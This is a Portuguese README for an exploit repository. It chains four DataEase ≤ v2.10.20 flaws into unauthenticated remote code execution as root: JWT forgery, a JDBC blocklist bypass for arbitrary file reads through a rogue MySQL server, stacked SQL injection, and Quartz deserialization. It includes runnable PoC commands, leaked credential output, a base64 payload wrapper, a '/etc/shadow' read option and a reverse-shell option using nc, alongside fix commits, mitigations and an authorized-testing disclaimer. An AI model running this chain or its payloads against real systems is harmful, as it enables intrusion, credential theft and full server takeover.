Exploit automatizado para DataEase: cadeia de 4 vulnerabilidades (bypass de autenticação, bypass de lista de bloqueio JDBC, injeção SQL, desserialização Java) alcançando RCE não autenticado. Inclui laboratório Docker e PoC em Python.
Bypass de autenticação → Bypass da lista de bloqueio JDBC (leitura arbitrária de arquivos) → Injeção SQL → Desserialização Java no Quartz → execução remota de código como
root.Laboratório local autocontido (Docker) + PoC funcional. Corrigido no DataEase v2.10.21.
DataEase é uma plataforma popular de BI / visualização de dados open-source (Java / Spring Boot). As versões ≤ v2.10.20 são vulneráveis a uma cadeia de quatro falhas que juntas transformam um DataEase acessível pela rede em execução remota de código:
| # | CVE | Classe | O que nos dá |
|---|
| 1 | CVE-2026-23958 | Bypass de autenticação (CWE-287/CWE-347) | Agir como admin — nenhuma assinatura válida necessária |
| 2 | CVE-2026-40899 | Bypass da lista de bloqueio JDBC (CWE-20) | Leitura arbitrária de arquivos → roubo de credenciais do banco de dados backend |
| 3 | CVE-2026-40900 | Injeção SQL / consultas empilhadas (CWE-89) | Escrever no próprio banco de dados do DataEase |
| 4 | CVE-2026-40901 | Desserialização Java (CWE-502) | RCE como root via o armazenamento de jobs do Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Tudo é executado localmente no Docker. Sem serviços externos, sem alvo na internet.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
Inicie:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (prefixo da API /de2api)admin / DataEase@123456Requisitos no host: Docker, Python 3.8+ com cryptography
(pip install -r exploit/requirements.txt), e a CLI Docker (usada para executar
o ysoserial em um contêiner descartável eclipse-temurin:8-jre para construir o gadget).
O DataEase autentica requisições em um filtro servlet, TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java). Ele lê o token e chama
TokenUtils.validate(), que termina em:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() nunca verifica a assinatura. As únicas verificações são: o token
ter ≥ 100 caracteres e conter um uid inteiro. Portanto, qualquer JWT que
diga "uid": 1 faz a requisição ser executada como o administrador embutido (uid 1).
Existe um segundo filtro (CommunityTokenFilter) que verifica uma assinatura
para o cabeçalho X-DE-TOKEN — mas apenas sob condições específicas, e a
chave de assinatura é ou um segredo por usuário ou, em uma build comunitária
simples, o MD5 da senha padrão fixa DataEase@123456
(SubstituleLoginConfig → dataease.default-pwd). O caminho de compartilhamento de link
(X-DE-LINK-TOKEN) é assinado com a chave fixa
link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) e, antes da correção, era
igualmente decodificado sem verificação.
Efeito líquido: um atacante pode cunhar um token de administrador. de_common.py
inclui forge_jwt() que produz o token sem assinatura; o PoC também suporta
simplesmente fazer login com as credenciais padrão onipresentes para obter um
X-DE-TOKEN totalmente válido para o resto da cadeia.
A correção (commit 00c169caa) faz o TokenFilter consultar o segredo real
por recurso e efetivamente chamar verifier.verify(...).
Ao adicionar uma fonte de dados MySQL, o DataEase recusa um conjunto de
parâmetros JDBC perigosos. Essa lista de bloqueio reside em um campo Lombok @Data:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Como @Data gera automaticamente setIllegalParameters(...), o Jackson
preenche alegremente a partir de JSON controlado pelo atacante. Enviar
"illegalParameters": [] no blob configuration (codificado em Base64)
esvazia a lista de bloqueio antes que seja verificada. Podemos então
apontar a fonte de dados para um servidor MySQL malicioso com
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
e ler arquivos arbitrários do host do DataEase via o mecanismo LOCAL INFILE
do MySQL.
# terminal A — servidor malicioso, escolha qualquer arquivo para roubar
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — faça o DataEase conectar-se a ele (host.docker.internal alcança seu host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Resultado — o DataEase nos entrega suas próprias credenciais do banco backend:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Essas credenciais são o que um atacante usa para apontar o passo 3 para o
próprio banco de dados do DataEase. A correção (commit 16a950f96) adiciona
@JsonIgnore a cada campo illegalParameters para que não possa mais ser
definido a partir de JSON.
previewSqlPOST /de2api/datasetData/previewSql recebe uma string SQL codificada em Base64
e, sem validação de declaração única, a envolve como uma subconsulta:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Comentários são removidos, mas podemos equilibrar os parênteses e usar ; para
executar instruções extras. Como controlamos a fonte de dados, ativamos
allowMultiQueries=true (não na lista de bloqueio no v2.10.20), então consultas
empilhadas são executadas:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
que o servidor monta em três instruções reais. Apontar essa fonte de dados para
o próprio banco de dados do DataEase (credenciais do passo 2) nos permite
escrever em suas tabelas do Quartz. Correções: 15611593b adiciona
allowMultiQueries à lista de bloqueio e e89059d88 reforça o fluxo de
salvamento/engine.
O DataEase agenda um job "verificação de status da fonte de dados" recorrente no Quartz:
deSyncJob, job Datasource / check_status, classe
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (padrão: a cada 6 minutos)O Quartz usa um armazenamento de jobs JDBC com useProperties=false, então
o JobDataMap de cada job é armazenado na coluna QRTZ_JOB_DETAILS.JOB_DATA
como um objeto serializado Java bruto (você pode ver: o blob começa com a
magia de serialização AC ED 00 05 … org.quartz.JobDataMap). Quando o scheduler
escaneia por triggers, ele faz, em StdJDBCDelegate.selectJobDetail:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
O DataEase inclui commons-collections-3.2.1.jar (e velocity-1.7.jar) —
fontes clássicas de gadgets de desserialização. Usando o passo 3, sobrescrevemos
JOB_DATA com um payload ysoserial CommonsCollections6 (e, na mesma
consulta empilhada, puxamos o NEXT_FIRE_TIME do trigger para agora para não
esperarmos o cron de 6 minutos). Na próxima varredura do scheduler,
readObject() dispara a cadeia de gadget (LazyMap → InvokerTransformer →
Runtime.exec) e nosso comando é executado — como root, dentro do contêiner.
O conjunto de correções (e05bda764, …) remove a dependência vulnerável do
Velocity e a atingibilidade do sink.
O PoC gera o gadget para você (wrapping de comando compatível com busybox — o
shell alvo é Alpine ash e Runtime.exec não obtém shell, então usamos
sh -c echo${IFS}<b64>|base64${IFS}-d|sh).
pip install -r exploit/requirements.txt
# cadeia completa (padrão: escreve um arquivo de prova id/uname dentro do contêiner)
python3 exploit/de_rce_chain.py
# comando arbitrário
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (inicie `nc -lvnp 4444` primeiro)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verifique a execução de código
docker exec dataease cat /tmp/pwned_CVE_2026_40901
Redefina o job do Quartz envenenado entre execuções (opcional):
exploit/reset_quartz.sh
| Caminho | Finalidade |
|---|---|
exploit/de_common.py | Cliente HTTP: recuperação da chave RSA /dekey, login, falsificação JWT, fonte de dados + previewSql |
exploit/de_rce_chain.py | A cadeia completa auth → SQLi → desserialização Quartz RCE |
exploit/rogue_mysql.py | Servidor MySQL malicioso mínimo (leitura de arquivo LOCAL INFILE) para CVE-2026-40899 |
exploit/file_read.py | Conduz CVE-2026-40899 contra o servidor malicioso |
exploit/reset_quartz.sh | Restaura um job do Quartz limpo após uma execução |
admin (DataEase@123456) imediatamente.useProperties=true,
aplique um filtro de desserialização JVM (-Djdk.serialFilter=…) e remova
commons-collections:3.2.1 / velocity:1.7 do classpath.Para educação e testes autorizados apenas. O laboratório tem como alvo um contêiner que você mesmo executa. Não aponte nada disso para sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764
(DataEase v2.10.20..v2.10.21)